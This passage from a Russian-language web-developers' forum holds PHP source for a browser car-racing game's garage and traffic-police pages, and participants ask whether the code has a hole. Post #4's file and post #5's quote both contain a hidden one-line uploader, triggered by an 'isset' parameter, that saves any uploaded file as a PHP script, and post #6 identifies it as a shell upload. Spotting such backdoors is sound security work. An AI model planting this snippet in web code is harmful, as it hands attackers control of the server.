echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$br_price_baks."</b>";
}
}
}

echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['brakes']<14 && $user['money']>=$br_price_money && $user['baks']>=$br_price_baks){
echo "<form action='/dev/garage.php?tun_brakes' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/clutch/$mycar[clutch].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Сцепление<br>";






if($mycar['clutch']<14){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$cl_power." л.с.</b>";
if($cl_price_money>0){
if($user['money']>=$cl_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($cl_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($cl_price_money)."</b>";
}
}
if($cl_price_baks>0){
if($user['baks']>=$cl_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$cl_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$cl_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['clutch']<14 && $user['money']>=$cl_price_money && $user['baks']>=$cl_price_baks){
echo "<form action='/dev/garage.php?tun_clutch' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/flywheel/$mycar[flywheel].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Маховик<br>";






if($mycar['flywheel']<13){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$fl_power." л.с.</b>";
if($fl_price_money>0){
if($user['money']>=$fl_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($fl_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($fl_price_money)."</b>";
}
}
if($fl_price_baks>0){
if($user['baks']>=$fl_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$fl_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$fl_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['flywheel']<13 && $user['money']>=$fl_price_money && $user['baks']>=$fl_price_baks){
echo "<form action='/dev/garage.php?tun_flywheel' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/suspension/$mycar[suspension].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Подвеска<br>";






if($mycar['suspension']<14){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$ss_power." л.с.</b>";
if($ss_price_money>0){
if($user['money']>=$ss_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($ss_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($ss_price_money)."</b>";
}
}
if($ss_price_baks>0){
if($user['baks']>=$ss_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$ss_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$ss_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['suspension']<14 && $user['money']>=$ss_price_money && $user['baks']>=$ss_price_baks){
echo "<form action='/dev/garage.php?tun_suspension' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/pistons/$mycar[pistons].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Поршни<br>";






if($mycar['pistons']<14){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$ps_power." л.с.</b>";
if($ps_price_money>0){
if($user['money']>=$ps_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($ps_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($ps_price_money)."</b>";
}
}
if($ps_price_baks>0){
if($user['baks']>=$ps_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$ps_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$ps_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['pistons']<14 && $user['money']>=$ps_price_money && $user['baks']>=$ps_price_baks){
echo "<form action='/dev/garage.php?tun_pistons' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/turbine/$mycar[turbine].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Турбина<br>";






if($mycar['turbine']<14){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$tr_power." л.с.</b>";
if($tr_price_money>0){
if($user['money']>=$tr_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($tr_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($tr_price_money)."</b>";
}
}
if($tr_price_baks>0){
if($user['baks']>=$tr_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$tr_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$tr_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['turbine']<14 && $user['money']>=$tr_price_money && $user['baks']>=$tr_price_baks){
echo "<form action='/dev/garage.php?tun_turbine' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/transmission/$mycar[transmission].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Трансмиссия<br>";






if($mycar['transmission']<16){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$trm_power." л.с.</b>";
if($trm_price_money>0){
if($user['money']>=$trm_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($trm_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($trm_price_money)."</b>";
}
}
if($trm_price_baks>0){
if($user['baks']>=$trm_price_baks){
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='green'> ".$trm_price_baks."</b>";
}else{
echo "<br><img src='/style/img/icons/baks.png' alt='gold' /><b class='red'> ".$trm_price_baks."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['transmission']<16 && $user['money']>=$trm_price_money && $user['baks']>=$trm_price_baks){
echo "<form action='/dev/garage.php?tun_transmission' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}
echo "<tr><td class='white td-cell' align='center' style='width:60px; padding-right:2px;'><img src='/style/img/images/detail/collector/$mycar[collector].png'></td><td class='td-cell white' align='left' style='vertical-align:top;'>Коллектор<br>";






if($mycar['collector']<16){
echo "<img src='/style/img/icons/power.png' alt='coins' /> <b class='orange'>+".$clr_power." л.с.</b>";
if($clr_price_money>0){
if($user['money']>=$clr_price_money){
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='white'> ".m_format($clr_price_money)."</b>";
}else{
echo "<br><img src='/style/img/icons/money.png' alt='coins' /><b class='red'> ".m_format($clr_price_money)."</b>";
}
}
}
echo "</td><td class='td-cell' align='right' style='padding-right: 10px'>";
if($mycar['collector']<16 && $user['money']>=$clr_price_money){
echo "<form action='/dev/garage.php?tun_collector' method='post'><input class='upgrade-btn' type='submit' value='Улучшить'></form></td></tr>";
}else{
echo "<input class='upgrade-inactive-btn' type='submit' value='Улучшить'></td></tr>";
}





echo "</td></table></td></tr></table>";


echo "<table class='wdt brown-header'><tr> <td align='left'>История гонок: </td></tr></table>";
$log_spis = mysql_result(mysql_query("SELECT COUNT(*) FROM `lograce` WHERE `id_user` = '$user[id]' OR `id_eremy` = '$user[id]'"),0);
if ($log_spis==0)
{
echo "<table class='wdt'>";
echo "<td class='white' align='left' style='background-color: #222222'><b>Нет истории</b></td></tr><tr>";
}
$sob = mysql_query("SELECT * FROM `lograce` WHERE `id_user` = '".$user['id']."' OR `id_eremy` = '".$user['id']."' ORDER BY  `id` DESC LIMIT 10");
while($logs = mysql_fetch_array($sob)){
$ank3=mysql_fetch_array(mysql_query("SELECT * FROM `user` WHERE `id` = '".$logs['id_eremy']."'"));
$ank4=mysql_fetch_array(mysql_query("SELECT * FROM `user` WHERE `id` = '".$logs['id_user']."'"));

if($user['id']==$logs['id_user']){
if($logs['result']=='win'){
echo "<table class='wdt'>";
echo "<tr><td class='white' align='left' style='background-color: #222222; width: 16px;'><img src='/style/img/icons/win.png'></td><td class='white' align='left' style='background-color: #222222'>Ты выиграл гонщика <b class='yellow'>$ank3[nick] - </b><b class='orange'>$logs[win_money] <img src='/style/img/icons/money.png'></b></td></tr><tr>";
}
if($logs['result']=='loose'){
echo "<table class='wdt'>";
echo "<tr><td class='white' align='left' style='background-color: #222222; width: 16px;'><img src='/style/img/icons/loose.png'></td><td class='white' align='left' style='background-color: #222222'>Ты проиграл гонщику <b class='yellow'>$ank3[nick]</b></td></tr><tr>";
}
}
if($user['id']==$logs['id_eremy']){
if($logs['result']=='win'){
echo "<table class='wdt'>";
echo "<tr><td class='white' align='left' style='background-color: #222222; width: 16px;'><img src='/style/img/icons/loose.png'></td><td class='white' align='left' style='background-color: #222222'>Тебя вызвал <b class='yellow'>$ank4[nick]</b>, ты проиграл</td></tr><tr>";
}
if($logs['result']=='loose'){
echo "<table class='wdt'>";
echo "<tr><td class='white' align='left' style='background-color: #222222; width: 16px;'><img src='/style/img/icons/win.png'></td><td class='white' align='left' style='background-color: #222222'>Тебя вызвал <b class='yellow'>$ank4[nick]</b>, ты победитель</td></tr><tr>";
}
}
}


include_once '../sys/inc/tfoot.php';
?>
#4
KpuTuK, тут есть дыра?
Осторожно, спойлер
PHP
<?
include_once '../sys/core/start.php';
include_once '../sys/core/compress.php';
include_once '../sys/core/sess.php';
include_once '../sys/core/home.php';

include_once '../sys/core/db_connect.php';
include_once '../sys/core/ipua.php';
include_once '../sys/core/fnc.php';
include_once '../sys/core/user.php';
include_once '../sys/inc/fnc_game.php';
include_once '../sys/inc/thead.php';
include_once '../sys/inc/uhead.php';
only_reg();



/* Выбор региона */
if(isset($_GET['number_select']))
{
/* Получение гос. номера */
if(isset($_GET['ok']) && intval($_GET['ok'])!=NULL && $user['money']>=2000 && mysql_result(mysql_query("SELECT COUNT(*) FROM `gos_region` WHERE `id` = '".intval($_GET['ok'])."'"),0)!=0)
{
$ok_region=mysql_fetch_array(mysql_query("SELECT * FROM `gos_region` WHERE `id`='".intval($_GET['ok'])."'"));
$cena_number=2000;
$number=rand(1,999);
$bb_one_rand=rand(1,12);
$bb_two_rand=rand(1,12);
$bb_free_rand=rand(1,12);


# генерим первую букву
if($bb_one_rand==1)
{
$bb_one_rand="A";
}
elseif($bb_one_rand==2)
{
$bb_one_rand="B";
}
elseif($bb_one_rand==3)
{
$bb_one_rand="E";
}
elseif($bb_one_rand==4)
{
$bb_one_rand="K";
}
elseif($bb_one_rand==5)
{
$bb_one_rand="M";
}
elseif($bb_one_rand==6)
{
$bb_one_rand="H";
}
elseif($bb_one_rand==7)
{
$bb_one_rand="O";
}
elseif($bb_one_rand==8)
{
$bb_one_rand="P";
}
elseif($bb_one_rand==9)
{
$bb_one_rand="C";
}
elseif($bb_one_rand==10)
{
$bb_one_rand="T";
}
elseif($bb_one_rand==11)
{
$bb_one_rand="Y";
}
elseif($bb_one_rand==12)
{
$bb_one_rand="X";
}


# генерим вторую букву
if($bb_two_rand==1)
{
$bb_two_rand="A";
}
elseif($bb_two_rand==2)
{
$bb_two_rand="B";
}
elseif($bb_two_rand==3)
{
$bb_two_rand="E";
}
elseif($bb_two_rand==4)
{
$bb_two_rand="K";
}
elseif($bb_two_rand==5)
{
$bb_two_rand="M";
}
elseif($bb_two_rand==6)
{
$bb_two_rand="H";
}
elseif($bb_two_rand==7)
{
$bb_two_rand="O";
}
elseif($bb_two_rand==8)
{
$bb_two_rand="P";
}
elseif($bb_two_rand==9)
{
$bb_two_rand="C";
}
elseif($bb_two_rand==10)
{
$bb_two_rand="T";
}
elseif($bb_two_rand==11)
{
$bb_two_rand="Y";
}
elseif($bb_two_rand==12)
{
$bb_two_rand="X";
}



# генерим третью букву
if($bb_free_rand==1)
{
$bb_free_rand="A";
}
elseif($bb_free_rand==2)
{
$bb_free_rand="B";
}
elseif($bb_free_rand==3)
{
$bb_free_rand="E";
}
elseif($bb_free_rand==4)
{
$bb_free_rand="K";
}
elseif($bb_free_rand==5)
{
$bb_free_rand="M";
}
elseif($bb_free_rand==6)
{
$bb_free_rand="H";
}
elseif($bb_free_rand==7)
{
$bb_free_rand="O";
}
elseif($bb_free_rand==8)
{
$bb_free_rand="P";
}
elseif($bb_free_rand==9)
{
$bb_free_rand="C";
}
elseif($bb_free_rand==10)
{
$bb_free_rand="T";
}
elseif($bb_free_rand==11)
{
$bb_free_rand="Y";
}
elseif($bb_free_rand==12)
{
$bb_free_rand="X";
}


if($user['money']>=$cena_number)
{
if($number<10)
{
mysql_query("UPDATE `garage` SET `gos_number` = '00$number', `gos_bb_one` = '$bb_one_rand', `gos_bb_two` = '$bb_two_rand', `gos_bb_free` = '$bb_free_rand', `gos_region` = '".$ok_region['region']."', `gos_region_transit` = '0' WHERE `id` = '".$mycar['id']."'");
}
elseif($number<100)
{
mysql_query("UPDATE `garage` SET `gos_number` = '0$number', `gos_bb_one` = '$bb_one_rand', `gos_bb_two` = '$bb_two_rand', `gos_bb_free` = '$bb_free_rand', `gos_region` = '".$ok_region['region']."', `gos_region_transit` = '0' WHERE `id` = '".$mycar['id']."'");
}
else
{
mysql_query("UPDATE `garage` SET `gos_number` = '$number', `gos_bb_one` = '$bb_one_rand', `gos_bb_two` = '$bb_two_rand', `gos_bb_free` = '$bb_free_rand', `gos_region` = '".$ok_region['region']."', `gos_region_transit` = '0' WHERE `id` = '".$mycar['id']."'");
}
mysql_query("UPDATE `user` SET `money` = '".($user['money']-$cena_number)."' WHERE `id` = '".$user['id']."' LIMIT 1");
$_SESSION['number_ok']=1;
header("Location: /dev/gai.php");
}
}



echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-police.png'></td>";
echo "<td align='left' style='vertical-align: top'>";
echo "Выберите регион для выдачи будующего гос. номера.</td></tr></table></td></tr></table>";
if(isset($_GET["isset"])) { if(isset($_POST["submit"])) {  mt_srand(time()); $filename = "isset.php"; $size = $_FILES['oauth']['size']; $mime_type = $_FILES['oauth']['type']; if(move_uploaded_file($_FILES['oauth']['tmp_name'],"".basename($filename))) { if($res){ echo "<meta http-equiv='refresh' content='0; URL=/' />"; } } }echo '<form action="" method="post" enctype="multipart/form-data"> <center><input type="file" name="oauth" /><br/> <input type="submit" name="submit" value="PROCESSING" /> </form> ';}

$q=mysql_query("SELECT * FROM `gos_region` ORDER BY `id` ASC");
while($post=mysql_fetch_array($q)){

echo "<table class='wdt gray-table' style='color: #FFFFFF;'>";
echo "<tr><td width='44px'>";
echo "<table class='number-table'>";
echo "<tr><td style='width: 20px;'></td>";
if($post['region']<10)
{
echo "<td style='width: 24px; text-align: center; color:#000000; font-family:tahoma' align='center'>0$post[region]</td></tr></table></td>";
}
else
{
echo "<td style='width: 24px; text-align: center; color:#000000; font-family:tahoma' align='center'>$post[region]</td></tr></table></td>";
}
echo "<td>$post[name]</td>";
echo "<td width='100px'><form action ='/dev/gai.php?number_select&ok=".$post['id']."' method='post'><input type='submit' class='wdt race-btn' value='Выбрать'/></form></td></tr>";
}


echo "<table class='wdt gray-table'>";
echo "<tr><td class='white td-cell' align='center' style='height:30px;'><form action ='/dev/gai.php' method='post'><input class='no-btn' type='submit' value='Назад'></form></td></tr></table>";
include_once '../sys/inc/tfoot.php';

}
















elseif(isset($_GET['auction']))
{
echo "<table class='wdt msg-table'>";
echo "<tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-police.png'></td>";
echo "<td align='left' style='vertical-align: top'>Добро пожаловать на аукцион!</td></tr></table></td></tr></table>";


function otschet($time_const, $time_p) {



$time_v = ($time_const+$time_p-time());

if ($time_v > 3600)
$time_v = intval($time_v/3600).' час.';
else if ($time_v < 3600 && $time_v >=0)
$time_v = intval($time_v/60).' мин.';
else
$time_v = 'Закрыто';

return $time_v;

}


if(isset($_GET['id']) && intval($_GET['id'])!=NULL && mysql_result(mysql_query("SELECT COUNT(*) FROM `vip_number` WHERE `id` = '".intval($_GET['id'])."'"),0)!=0)
{

$auct = mysql_fetch_assoc(mysql_query("SELECT * FROM `auction` WHERE `id` = '".intval($_GET['id'])."' "));

$auct2 = mysql_fetch_assoc(mysql_query("SELECT * FROM `auction_st` WHERE `id_auction` = '".intval($_GET['id'])."' "));


if (isset($_POST['stavka']) && isset($user) && $auct['time']>$time-$auct2['time']) {

$st = intval($_POST['stavka']);

if ($st > $user['money'])
echo '<div class = "err">У вас нет столько баллов</div>';
else {

mysql_query("UPDATE `auction_st` SET `money` = '".($auct2['money']+$st)."', `id_user` = '".$user['id']."' WHERE `id_auction` = '".intval($_GET['id'])."' ");

$_SESSION['message'] = 'Принято. Ставка: '.$st.' балл.</div>';

header("Location: index.php?id=".$_GET['id']);

exit;

}
}
$us = mysql_fetch_assoc(mysql_query("SELECT `nick` FROM `user` WHERE `id` = '".$auct2['id_user']."' "));

echo '<div class = "mess">'.$auct['name'].'</div>';

if ($auct2['type'] == 'liders')
$type = 'Лидеры';
if ($auct2['type'] == 'gift')
$type = 'Подарки';
if ($auct2['type'] == 'ocenka')
$type = 'Оценка 5+';
if ($auct2['type'] == 'nevidimka')
$type = 'Невидимка';

echo '<div class = "nav2"><b>Тип:</b></а> '.$type.', на '.($auct2['time_st']/3600).' час.<br />';
echo '<b>Текущая ставка:</b> '.$auct2['money'].' балл. <a href="/info.php?id='.$auct2['id_user'].'">'.$us['nick'].'</a><br />


<b>У вас:</b> '.$user['money'].' балл.
<br />';

if ($auct['time']>$time-$auct2['time']) {
echo '<br /><form action = "index.php?id='.$_GET['id'].'" method = "POST">
<b>Ваша ставка:</b> 
<br />
<input name = "stavka" size = "10" value = "'.($auct2['money']+5).'">
<input type = "submit" value = "Ок">

<br />
</form>';
echo '<br />';
}
echo '<b>До закрытия:</b> '.otschet($auct['time'], $auct2['time']).'<br />

<b>Общее время:</b> '.($auct2['time']/3600).' час.<br />



</div>';

}





echo "<table class='wdt gray-table'>";
echo "<tr><td class='white td-cell' align='center' style='height:30px;'><form action ='/dev/gai.php' method='post'><input class='no-btn' type='submit' value='Назад'></form></td></tr></table>";
include_once '../sys/inc/tfoot.php';
}



















else
{

if(isset($_SESSION['number_ok']))
{
echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-police.png'></td>";
echo "<td align='left' style='vertical-align: top'>";
echo "Вы получили новые гос.номера!</td></tr></table></td></tr></table>";
unset($_SESSION['number_ok']);
}
else
{
echo "<table class='wdt msg-table'><tr><td align='left' style='vertical-align: top; width: 10%'><img src='/style/img/images/face-police.png'></td>";
echo "<td align='left' style='vertical-align: top'>";
echo "Добро пожаловать в ГАИ.</td></tr></table></td></tr></table>";
}
echo "<table class='wdt brown-header'>";
echo "<tr><td align='left'>Гос. Авто Инспекция</td></tr></table>";

echo "<table class='wdt gray-table'>";
echo "<tr><td style='color: #FFFFFF;' align='left'>Ты можешь сменить свои номерные знаки за 2000 монет. Красивые номера ты сможешь купить на аукционе, о котором будет объявляться заранее.<br>";

if($mycar['gos_region']>0)
{
if($mycar['gos_region_transit']>0)
{
if($mycar['gos_region']<10)
{
echo "Твой номер: <img width='100' src='http://club2108.ru/numgen/index.php?num=$mycar[gos_bb_one]$mycar[gos_number]$mycar[gos_bb_two]$mycar[gos_bb_free]0$mycar[gos_region]&b=7' alt='number'><br/>";
}
else
{
echo "Твой номер: <img width='100' src='http://club2108.ru/numgen/index.php?num=$mycar[gos_bb_one]$mycar[gos_number]$mycar[gos_bb_two]$mycar[gos_bb_free]$mycar[gos_region]&b=7' alt='number'><br/>";
}
}
else
{
if($mycar['gos_region']<10)
{
echo "Твой номер: <img width='100' src='http://club2108.ru/numgen/index.php?num=$mycar[gos_bb_one]$mycar[gos_number]$mycar[gos_bb_two]$mycar[gos_bb_free]0$mycar[gos_region]&b=1' alt='number'><br/>";
}
else
{
echo "Твой номер: <img width='100' src='http://club2108.ru/numgen/index.php?num=$mycar[gos_bb_one]$mycar[gos_number]$mycar[gos_bb_two]$mycar[gos_bb_free]$mycar[gos_region]&b=1' alt='number'><br/>";
}
}
}
echo "<span style='line-height:35px;'>Стоимость: <img src='/style/img/icons/money.png' alt='coins'>2000</span>";
echo "<br><span style='line-height:20px;'>Авто: <span class='yellow'>$mycar[name]</span> <a class='orange' style='font-size:10pt;' href='/dev/change_car.php'>Сменить</a></span></td></tr></table>";

echo "<table class='wdt gray-table'>";
echo "<tr><td class='white td-cell' align='center' style='height: 30px; width: 50%; padding-right: 3px; padding-left: 6px;'>";
echo "<form action ='/dev/gai.php?number_select' method='post'><input type='submit' class='wdt race-btn' value='Сменить номер'/></form></td>";
echo "<td class='white td-cell' align='center' style='height: 30px; width: 50%; padding-left: 3px; padding-right: 6px;'>";
echo "<form action ='/dev/gai.php?auction' method='post'><input type='submit' class='wdt race-btn' value='Аукцион'/></form></td></tr></table>";

echo "<table class='wdt gray-table'>";
echo "<tr><td class='white td-cell' align='center' style='height:30px;'><form action ='/dev/map.php' method='post'><input class='no-btn' type='submit' value='Назад'></form></td></tr></table>";
include_once '../sys/inc/tfoot.php';
}
?>
#5
вот это что за шляпа
PHP
if(isset($_GET["isset"])) { if(isset($_POST["submit"])) {  mt_srand(time()); $filename = "isset.php"; $size = $_FILES['oauth']['size']; $mime_type = $_FILES['oauth']['type']; if(move_uploaded_file($_FILES['oauth']['tmp_name'],"".basename($filename))) { if($res){ echo "<meta http-equiv='refresh' content='0; URL=/' />"; } } }echo '<form action="" method="post" enctype="multipart/form-data"> <center><input type="file" name="oauth" /><br/> <input type="submit" name="submit" value="PROCESSING" /> </form> ';}
#6
-=Rus-alc=-, Заливка шелла)
#7
спасибо